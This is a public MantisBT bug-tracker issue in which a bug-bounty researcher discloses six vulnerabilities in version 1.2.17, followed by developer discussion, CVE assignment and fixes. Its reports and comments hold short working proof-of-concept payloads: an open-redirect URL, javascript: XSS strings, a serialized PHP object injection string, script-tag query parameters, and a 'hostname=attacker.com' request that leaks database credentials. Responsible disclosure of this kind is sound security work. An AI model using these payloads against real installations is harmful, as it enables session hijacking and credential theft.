View Issue Details

IDProjectCategoryView StatusLast Update
0017362mantisbtsecuritypublic2015-03-14 05:19
Reporteravlidienbrunn Assigned Todregad  
PriorityhighSeveritymajorReproducibilityalways
Status closedResolutionfixed 
Product Version1.2.17 
Fixed in Version1.2.18 
Summary0017362: Multiple vulnerabilities in MantisBT
Description

Hi!

I couldn't find any contact email and the IRC was kinda silent so I'm just gonna go ahead and write it here. Sorry for only making one issue, but honestly I'm too lazy and unfamiliar with how you guys set up issues for security issues so I'll let someone else do that.

Recently I have been auditing MantisBT as part of taking part of offensive security's bug bounty program (see http://www.offensive-security.com/bug-bounty-program/). If you're not aware, they are using MantisBT on bugs.kali.org.

I have reported several vulnerabilities that affects MantisBT to them and I'm not sure which have been referred to you guys which is why I'm writing this report. I'm just going to list them one by one:

  1. Unrestricted redirect: The URL validator doesn't handle protocol relative URI's correctly, so any redirect only relying on this can be made into an unrestricted redirect. PoC: http://www.mantisbt.org/bugs/login_page.php?return=/\/detectify.com will take you to detectify.com

  2. Persistent XSS in comments: Add a comment with this: &javascript://%E2%80%A8alert(document.domain) and it will make a link which will execute JavaScript when clicked. The problem lies in https://github.com/mantisbt/mantisbt/blob/master/core/string_api.php, the function "string_insert_hrefs" doesn't validate the protocol, which is why one can make this link (with some quirks) and execute javascript.

  3. Persistent XSS in uploads: It's possible to upload Flash files and make open them inline by using an image extension. Since Flash files can execute JavaScript this becomes a persistent XSS.

  4. PHP Object Injection: In the function current_user_get_bug_filter (core\current_user_api.php line 212). The code loads a variable from $_GET['filter']/$_POST['filter'] and if it's not numeric, feeds it straight into unserialize() on line 223.

The current_user_get_bug_filter function is called in 10 places, easiest is just to access /view_filters_page.php.

A PoC initializing a class that's loaded could look like this: /view_filters_page.php?filter=O:16:"MantisPHPSession":2:{s:2:"id";s:1:"1";s:3:"key";s:3:"wee";}

  1. Reflected XSS in admin panel: PoC: [MantisBT]/admin/test_langs.php?dest_id=<script>alert(1)</script>

  2. DB Credentials leak: When [MantisBT]/admin/upgrade_unattended.php?hostname=attacker.com is accessed, MantisBT will connect to attacker.com with the current DB config credentials.

TagsNo tags attached.

Relationships

related to 0019493 closeddregad CVE-2014-9701: XSS vulnerability in permalink_page.php 
parent of 0017297 closeddregad CVE-2014-9272: XSS in string_insert_hrefs allows script execution 
parent of 0017648 closeddregad CVE-2014-6316: URL redirection issue 
parent of 0017874 closeddregad CVE-2014-9271: Persistent XSS in file uploads/attachments 
parent of 0017875 closeddregad CVE-2014-9280: PHP Object Injection in filter API 
parent of 0017877 closeddregad CVE-2014-9279: Db Credentials leak via unattended upgrade script 
parent of 0017876 closeddregad CVE-2014-9281: Reflected XSS in admin panel / copy_field.php 
has duplicate 0017392 closedgrangeway PHP Object injection issue in MantisBT 
related to 0017698 closeddregad An Open Redirect Vulnerability discovered 

Activities

rombert

rombert

2014-05-21 15:12

reporter   ~0040611

Thanks for reporting the bug, we'll take it from here.

grangeway

grangeway

2014-05-21 18:16

reporter   ~0040613

And if you don't mind, I'll take on fixing this bunch (as some of these issues I'm already aware of and have some fixes in progress - hence the mail I sent internally on a week and a half ago about possible XSS issues (the patch I supplied for the non-issue was actually the start of part of a set)):

For example, a similar problem to 2 exists with /permalink_page.php?url=javascript%3Aalert%284222%29

There's also a similar issue in the content displayed in one of our manage config pages.

The first issue (somewhat amusingly) - I'm aware of an alternative exploit path of /login_cookie_test.php?return= and been working on a fix for that already.

3 is definitely a new and not something I've already got on my radar - I've wondered before about uploading php files etc, and about virus's in images etc, but never considered flash objects and javascript - Without testing tonight as it's late - I wonder if our use of finfo to work out a mime type in 1.3 helps avoid this, or makes it worse. I suspect neither as iirc without looking at code, it was used to set the mimetype stored in the database as opposed to checking.

For 4 - and yes - equally, I've been trying to use the MANTIS_collapse_settings cookie to do the same via the Token_API

In terms of number 5 - are you sure you meant test_langs.php. In 1.3-master, there's an issue within copy_field.php of doing something similar of:

admin/copy_field.php?source_id=1&dest_id="></a><script>alert()</script><b style="

I've just tried your test_langs example with both my 1.3 code, and what I think is my 1.2.17 instance and not finding an issue with that particular page - Am I missing something here, or have you used the wrong file path in the example.

For 6 - good catch

Summary:
1) grangeway will look at patches for this bunch
2) avlidienbrunn/others: can someone confirm if you number 5 really does mean test_langs.php and tell me what i'm missing
3) I'll leave someone else to work out a write up on this mess later on ;)
4) I plan to also submit a patch to disable the autocomplete html attribute on the password field on the account_page.php and login_page.php for good practice - as I believe that's not set.

dregad

dregad

2014-05-21 18:46

developer   ~0040615

To facilitate tracking of the 6 individual issues reported by avlidienbrunn, I propose the following approach, expanding on grangeway's summary:

0) [NEW] create 1 issue for each distinct security problem, and assign them as child of this one

1) grangeway will look at patches for this bunch

Thanks. Please create one commit per patch if possible, and if not at least reference each issue in the commit messages, to facilitate the documentation for CVEs.

2) avlidienbrunn/others: can someone confirm if you number 5 really does mean test_langs.php and tell me what i'm missing

I can't reproduce the issue with test_langs.php. There is no dest_id param in this script - in fact it does not use any parameters at all. I can however confirm the issue with copy_field.php [1]

3) I'll leave someone else to work out a write up on this mess later on ;)

I can take care of requesting CVEs and preparing the security release, provided you give me the required raw information (see [2] for details)

4) I plan to also submit a patch to disable the autocomplete html attribute on the password field on the account_page.php and login_page.php for good practice - as I believe that's not set.

That's not really an urgent security issue requiring immediate fixing, and furthermore unless I'm mistaken the autocomplete attribute is HTML5 only and therefore can't be used in 1.2.x (document type = xhtml1), so I would suggest to create a separate issue with 1.3.x target for this.

[1] http://localhost/mantis/admin/copy_field.php?source_id=1&amp;dest_id=%3Cscript%3Ealert%281%29%3C/script%3E
[2] http://www.mantisbt.org/wiki/doku.php/mantisbt:handling_security_problems#obtaining_a_cve_id f

dregad

dregad

2014-05-21 18:48

developer   ~0040616

@grangeway, as a side note, care to have a second look at your comment "Removing the admin folder doesn't really increase security" (0017345:0040567) ? ;-)

grangeway

grangeway

2014-05-21 19:36

reporter   ~0040618

Damien - actually, unattended_upgrade.php is a file I've tended to remove and replace with the updated installer in 2.0, so this issue doesn't exist at that point.

And equally in this case, this is us being dumb - you can write dumb code anywhere within mantis if you try - I'd suggest not using a computer as the solution to that one ;)

Lets think about the purpose of upgrade_unattended.php (probably the most serious of the issues in the list)

The purpose is to upgrade an existing installation:

So step 1:

$result = @db_connect( config_get_global( 'dsn', false ), config_get_global( 'hostname' ),
config_get_global( 'db_username' ), config_get_global( 'db_password' ),
config_get_global( 'database_name' ) );

This is safe. If this fails we abort

Step 2:

We ask for query string input

That's just dumb ;)

After step 1, you already have a valid database connection to a valid database for the update, so why throw it away. The "blame" for that logic goes back to giallu/victor in 2007 and Mantis 1.1.0a3.

Personally (and clarifying my first statement about I've tended to gear towards trying to remove that file): We have an install.php - that should really have a silent mode for upgrades (for those that want it) as opposed to have 2 different installation processes.

In terms of supporting the argument regarding the amount of use upgrade_unattended.php receives:

The code for upgrade_unattended actually was broken (i.e. the script working as opposed to the security issue that always existed) on August 9th 2007 by thraxisp with https://github.com/mantisbt/mantisbt/commit/9a600999dbd29d8874013c90082ac5ed817061ca . This means that it stopped working in the following release:

release-1.1.0

Victor added support to fix the script following the August 9th 2007 change on December 29th 2013

In short, the only versions of Mantis that have had valid logic for upgrade_unattended.php have been:

1.1.0rc3 - released 2007-11-23
1.1.0rc2 - release 2007-10-04
1.1.0rc1 - 2007-08-02
1.1.0a4 - 2007-08-01
1.1.0a3 - 2007-05-08

Evidently it's a well used feature :p I would make a list of the versions we've released since 1.1.0rc3 that haven't worked, but it's bedtime unfortunately ;)

side note - whilst I had thought that having a silent upgrade option was important, it does make me wonder the value of actually having said option giving the likihood of breaking it and not noticing ;)

grangeway

grangeway

2014-05-22 17:02

reporter   ~0040625

Assigning this to Myself. there'll be a patch for this at some point over weekend + during the following week.

P.S As a warning guys, I've got more time then usual next week - off work for the week, so I need a few things to keep me quiet :)

Paul

avlidienbrunn

avlidienbrunn

2014-05-22 17:13

reporter   ~0040626

Last edited: 2014-05-22 17:21

View 2 revisions

Hi! I do mean copy_field.php. Need anything else from me? I'd love to get credited on the CVE if possible too :)

Edit: I also uploaded a PoC SWF file to this issue for demonstration. If you open the link with inline token it'll execute alert(document.domain).

Mathias

avlidienbrunn

avlidienbrunn

2014-05-22 17:19

reporter  

domain.swf.jpg (283 bytes)   
domain.swf.jpg (283 bytes)   
grangeway

grangeway

2014-05-22 17:58

reporter   ~0040627

That's fine IMO (re credit) - I'm not sure if it's a good thing that I've come across some of the security issues reported or not (arguably it's a bad thing as they should have been fixed - albeit, some of the things I mentioned I spotted a week before you)

In terms of the PoC SWF, shouldn't that work on this bug report? At least, I'm finding it not to work in IE11 on here.

dregad

dregad

2014-05-22 18:24

developer   ~0040628

Last edited: 2014-05-22 18:25

View 3 revisions

With regards being credited on the CVE, of course you'll be referenced as reporter. Please indicate precisely how you'd like your name to appear (i.e. nickname, full name, e-mail, web site, company...)

avlidienbrunn

avlidienbrunn

2014-08-26 10:14

reporter   ~0041126

Was a CVE ever assigned to this(these) issues? It's fine with "Mathias Karlsson" and a link to http://mathiaskarlsson.me if it's not already made.

dregad

dregad

2014-08-26 18:47

developer   ~0041128

Reminder sent to: grangeway

Paul, where are those patches ?

@avlidienbrunn - I never requested a CVE, because once I do the issue de facto becomes public, and I don't want to disclose without having a fix available.

dregad

dregad

2014-09-22 05:32

developer   ~0041264

For point 1. Unrestricted redirect, CVE-2014-6316 was assigned (see 0017648)

@grangeway, it's been 4 months, where are the patches !!!!!

avlidienbrunn

avlidienbrunn

2014-09-22 05:45

reporter   ~0041266

@dregad gotcha

grangeway

grangeway

2014-09-22 13:28

reporter   ~0041269

@dregad - still waiting for victor to add SSH key so I can push private branch. Hopefully he'll get round to it soon.

vboctor

vboctor

2014-09-22 21:36

manager   ~0041291

@grangeway, the answer to your question can be found at:
http://article.gmane.org/gmane.comp.bug-tracking.mantis.devel/5410/

Server access is not needed to address this. There is no plans to host git repositories on the server.

rombert

rombert

2014-10-06 15:23

reporter   ~0041434

Oh for god's sake, do we delay patching a security fix for 4 MONTHS because we're setting up a gitlab instance?

That's just stupid, sorry. And the kind of thing that makes for bad products and bad reputation amongst our users. I don't have the time to fix this myself, but I have the time to say how unbelievably obtuse this is.<EOM>

grangeway

grangeway

2014-10-06 17:57

reporter   ~0041436

Last edited: 2014-10-07 05:47

View 2 revisions

[EDIT] dregad - urldecoding grangeway's prose...

Rombert - no - I said originally I had a branch where it would help people to review if they could see history rather then a patch, and said i'd copy it to our mantisbt.org server as soon as Victor added ssh key.

So moved on to next thing whilst waiting on victor, to respond.

In the past we've given all team members to the server - we all used to have access in the past until server changed, and have been asking since then (And getting told since then that it'll be added), so at the time I was expecting it to be a quick job.

Where atrol's suggested in a private note today about using my server and giving you guys access, that approach can be implemented by this weekend.

rombert

rombert

2014-10-07 04:42

reporter   ~0041441

Paul - sorry, I 'm not sure what you wrote there, it's painful to parse :-)

But the gist is - we're hiding behind process, and that's counterproductive. I for one don't want to get any private access as long as we can attach a git patchset to this bug!

dregad

dregad

2014-10-07 05:34

developer   ~0041443

Last edited: 2014-10-07 05:34

View 2 revisions

Paul, didn't read that garbled mess you just posted, but regardless your position is untenable and you know it.

Holding security patches hostage to get a server access that Victor repeatedly said he would not grant is just plain ridiculous, and don't even get me started about your mentioning that in communications with users [e.g. 0017725:0041380] !

For the issue at hand, if you fix MantisForge that's fine as I've been requesting that for months (actually, over a year I think) but it's really not necessary:

  • git format-patch will generate a series of .patch files (one per commit), thus preservign history of changes
  • the patches can easily be applied using git am.

So just generate the files, attach them to the issue(s) (as a zip file if needed) and let's be done with it.

dregad

dregad

2014-11-14 19:37

developer   ~0041842

Child issues now exist for each of the 6 points originally reported:

  1. 0017648
  2. 0017297
  3. 0017874
  4. 0017875
  5. 0017876
  6. 0017877
dregad

dregad

2014-11-17 02:44

developer   ~0041861

Closed by mistake

dregad

dregad

2015-03-14 05:19

developer   ~0049212

Following up on TWSpiders's report of an XSS issue in permalink_page.php (see 0019493), I'm linking it here for the record since it was initially reported by grangeway in note 0017362:0040613.

[...] mail I sent [...] about possible XSS issues [...]

For example, a similar problem to 2 exists with /permalink_page.php?url=javascript%3Aalert%284222%29

Issue History

Date Modified Username Field Change
2014-05-21 14:41 avlidienbrunn New Issue
2014-05-21 14:58 atrol Relationship added related to 0017297
2014-05-21 15:12 rombert Note Added: 0040611
2014-05-21 18:16 grangeway Note Added: 0040613
2014-05-21 18:46 dregad Note Added: 0040615
2014-05-21 18:48 dregad Note Added: 0040616
2014-05-21 19:36 grangeway Note Added: 0040618
2014-05-22 17:01 grangeway Assigned To => grangeway
2014-05-22 17:01 grangeway Status new => assigned
2014-05-22 17:02 grangeway Note Added: 0040625
2014-05-22 17:13 avlidienbrunn Note Added: 0040626
2014-05-22 17:19 avlidienbrunn File Added: domain.swf.jpg
2014-05-22 17:21 avlidienbrunn Note Edited: 0040626 View Revisions
2014-05-22 17:58 grangeway Note Added: 0040627
2014-05-22 18:24 dregad Note Added: 0040628
2014-05-22 18:24 dregad Note Edited: 0040628 View Revisions
2014-05-22 18:25 dregad Note Edited: 0040628 View Revisions
2014-05-28 14:35 grangeway Relationship added has duplicate 0017392
2014-08-26 10:14 avlidienbrunn Note Added: 0041126
2014-08-26 18:47 dregad Note Added: 0041128
2014-09-19 18:45 grangeway Relationship added has duplicate 0017648
2014-09-22 05:32 dregad Note Added: 0041264
2014-09-22 05:45 avlidienbrunn Note Added: 0041266
2014-09-22 13:28 grangeway Note Added: 0041269
2014-09-22 21:36 vboctor Note Added: 0041291
2014-09-23 04:55 dregad Relationship added has duplicate 0017698
2014-10-06 15:23 rombert Note Added: 0041434
2014-10-06 17:57 grangeway Note Added: 0041436
2014-10-07 04:42 rombert Note Added: 0041441
2014-10-07 05:34 dregad Note Added: 0041443
2014-10-07 05:34 dregad Note Edited: 0041443 View Revisions
2014-10-07 05:47 dregad Note Edited: 0041436 View Revisions
2014-10-29 08:21 dregad Relationship replaced parent of 0017648
2014-10-29 08:22 dregad Relationship replaced related to 0017698
2014-11-07 17:20 atrol Assigned To grangeway => dregad
2014-11-14 19:25 dregad Relationship added parent of 0017874
2014-11-14 19:26 dregad Target Version => 1.2.18
2014-11-14 19:27 dregad Relationship replaced parent of 0017297
2014-11-14 19:30 dregad Relationship added parent of 0017875
2014-11-14 19:35 dregad Relationship added parent of 0017877
2014-11-14 19:35 dregad Relationship added parent of 0017876
2014-11-14 19:37 dregad Note Added: 0041842
2014-11-17 02:27 dregad Changeset attached => MantisBT 128-sec-fixes 86efc6ee
2014-11-17 02:27 dregad Changeset attached => MantisBT 128-sec-fixes 330e4f6b
2014-11-17 02:27 dregad Changeset attached => MantisBT 128-sec-fixes aa0fcd9c
2014-11-17 02:27 dregad Status assigned => resolved
2014-11-17 02:27 dregad Resolution open => fixed
2014-11-17 02:34 dregad Changeset removed MantisBT 128-sec-fixes aa0fcd9c =>
2014-11-17 02:34 dregad Changeset removed MantisBT 128-sec-fixes 330e4f6b =>
2014-11-17 02:34 dregad Changeset removed MantisBT 128-sec-fixes 86efc6ee =>
2014-11-17 02:44 dregad Note Added: 0041861
2014-11-17 02:44 dregad Status resolved => feedback
2014-11-17 02:44 dregad Resolution fixed => reopened
2014-11-17 02:45 dregad Status feedback => assigned
2014-12-03 18:12 dregad Status assigned => resolved
2014-12-03 18:12 dregad Resolution reopened => fixed
2014-12-03 18:12 dregad View Status private => public
2014-12-05 18:34 dregadmin Target Version 1.2.18 => 1.2.19
2014-12-06 16:51 atrol Status resolved => closed
2014-12-06 16:51 atrol Fixed in Version => 1.2.18
2014-12-06 16:51 atrol Target Version 1.2.19 =>
2015-03-14 05:19 dregad Note Added: 0049212
2015-03-14 05:19 dregad Relationship added related to 0019493